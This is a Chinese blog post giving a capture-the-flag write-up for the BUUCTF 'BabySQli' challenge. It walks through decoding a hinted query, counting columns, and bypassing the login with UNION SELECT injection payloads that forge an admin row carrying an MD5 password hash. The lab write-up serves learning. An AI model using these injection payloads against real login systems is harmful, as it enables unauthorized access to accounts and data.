buuctf-BabySQli 1

启动靶机,打开环境

又是一道sql注入的题

我又查看源码,发现了一下search.php.然后又惯性思维就把他显示出来,但是出来个这东西

 

 感觉没那么简单,再看一手源码,发现一串加密密文

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

这段应该是base32编码,解一下成了base64编码,然后再解一下就可以了

select * from user where username = '$name'

源码提示我们猜用户名,我们尝试使用admin和非admin登录,

当利用admin当作用户名的时候

 

 当用非admin的作为用户名的时候,

 

 这就确定了,admin是可行的。确认用户列表有admin.

然后我们还是像之前一样,确定一下列数:

name=1' union select 1,2,3,4 %23 &pw=123

 

 

 这样的话就报错了,然后再把4删掉,成功显示,这便确定了是3列

name=1' union select 1,2,3 %23 &pw=123

 

 然后我们需要爆一下密码,

name=1' union select 1,'admin',3 %23 &pw=123

 

 确是这个亚子,查了一下wp,才了解到如果查询的数据不存在的时候,union查询就会构造一个虚拟的数据。sql的password会md5加密,然后我们将我们自己输的密码编码成md5然后放入第三列当中,123加密成md5是

202cb962ac59075b964b07152d234b70

构造最终的pyload为

name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23 &pw=123

 

 这样就爆出来了

 

posted @ 2020-10-12 21:14  AW_SOLE  阅读(349)  评论(0)    收藏  举报